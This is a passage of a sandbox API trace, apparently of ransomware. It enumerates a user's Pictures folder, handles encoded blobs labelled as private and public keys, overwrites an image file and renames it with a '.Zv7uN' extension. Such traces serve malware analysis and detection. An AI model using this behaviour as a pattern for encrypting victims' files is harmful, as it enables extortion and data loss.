hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0084.967] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb04, csidl=39, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned 1 [0084.970] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures")) returned 0x11 [0084.970] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb04, csidl=39, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned 1 [0084.970] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdb51a0c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdb51a0c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbbc33b5c, dwReserved1=0xba1113e9, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0084.970] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdb51a0c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdb51a0c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbbc33b5c, dwReserved1=0xba1113e9, cFileName="..", cAlternateFileName="")) returned 1 [0084.970] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f969380, ftCreationTime.dwHighDateTime=0x1d5db59, ftLastAccessTime.dwLowDateTime=0x148f83a0, ftLastAccessTime.dwHighDateTime=0x1d5e666, ftLastWriteTime.dwLowDateTime=0x148f83a0, ftLastWriteTime.dwHighDateTime=0x1d5e666, nFileSizeHigh=0x0, nFileSizeLow=0xa93f, dwReserved0=0xbbc33b5c, dwReserved1=0xba1113e9, cFileName="-CYi6R7bCvIz-.gif", cAlternateFileName="-CYI6R~1.GIF")) returned 1 [0084.970] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0084.970] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.970] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\-CYi6R7bCvIz-.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\-cyi6r7bcviz-.gif"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f969380, ftCreationTime.dwHighDateTime=0x1d5db59, ftLastAccessTime.dwLowDateTime=0x148f83a0, ftLastAccessTime.dwHighDateTime=0x1d5e666, ftLastWriteTime.dwLowDateTime=0x148f83a0, ftLastWriteTime.dwHighDateTime=0x1d5e666, nFileSizeHigh=0x0, nFileSizeLow=0xa93f)) returned 1 [0084.970] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\-CYi6R7bCvIz-.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\-cyi6r7bcviz-.gif")) returned 0x20 [0084.970] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\-CYi6R7bCvIz-.gif", dwFileAttributes=0x80) returned 1 [0084.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0084.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f6396c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0084.974] GetCurrentThreadId () returned 0xa30 [0084.974] GetCurrentThreadId () returned 0xa30 [0084.974] GetCurrentThreadId () returned 0xa30 [0084.975] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0084.975] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f749cc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0084.975] GetCurrentThreadId () returned 0xa30 [0084.975] GetCurrentThreadId () returned 0xa30 [0084.975] GetCurrentThreadId () returned 0xa30 [0084.975] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\-CYi6R7bCvIz-.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\-cyi6r7bcviz-.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.975] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0084.975] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.975] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xa93f [0084.976] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.976] ReadFile (in: hFile=0x124, lpBuffer=0x1f7c7d0, nNumberOfBytesToRead=0xa93f, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f7c7d0*, lpNumberOfBytesRead=0x18f96c*=0xa93f, lpOverlapped=0x0) returned 1 [0084.979] CloseHandle (hObject=0x124) returned 1 [0084.981] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\-CYi6R7bCvIz-.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\-cyi6r7bcviz-.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.984] WriteFile (in: hFile=0x124, lpBuffer=0x1f88800*, nNumberOfBytesToWrite=0xa93f, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f88800*, lpNumberOfBytesWritten=0x18f978*=0xa93f, lpOverlapped=0x0) returned 1 [0084.987] CloseHandle (hObject=0x124) returned 1 [0084.988] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\-CYi6R7bCvIz-.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\-cyi6r7bcviz-.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\-CYi6R7bCvIz-.gif.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\-cyi6r7bcviz-.gif.zv7un")) returned 1 [0084.989] GetCurrentThreadId () returned 0xa30 [0084.990] GetCurrentThreadId () returned 0xa30 [0084.990] GetCurrentThreadId () returned 0xa30 [0084.990] GetCurrentThreadId () returned 0xa30 [0084.990] GetCurrentThreadId () returned 0xa30 [0084.990] GetCurrentThreadId () returned 0xa30 [0084.990] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae23fc90, ftCreationTime.dwHighDateTime=0x1d5da3a, ftLastAccessTime.dwLowDateTime=0x7234ae60, ftLastAccessTime.dwHighDateTime=0x1d5dc05, ftLastWriteTime.dwLowDateTime=0x7234ae60, ftLastWriteTime.dwHighDateTime=0x1d5dc05, nFileSizeHigh=0x0, nFileSizeLow=0x142cf, dwReserved0=0xbbc33b5c, dwReserved1=0xba1113e9, cFileName="9_2i.jpg", cAlternateFileName="")) returned 1 [0084.990] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.990] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.990] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\9_2i.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\9_2i.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae23fc90, ftCreationTime.dwHighDateTime=0x1d5da3a, ftLastAccessTime.dwLowDateTime=0x7234ae60, ftLastAccessTime.dwHighDateTime=0x1d5dc05, ftLastWriteTime.dwLowDateTime=0x7234ae60, ftLastWriteTime.dwHighDateTime=0x1d5dc05, nFileSizeHigh=0x0, nFileSizeLow=0x142cf)) returned 1 [0084.990] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\9_2i.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\9_2i.jpg")) returned 0x20 [0084.990] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\9_2i.jpg", dwFileAttributes=0x80) returned 1 [0084.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 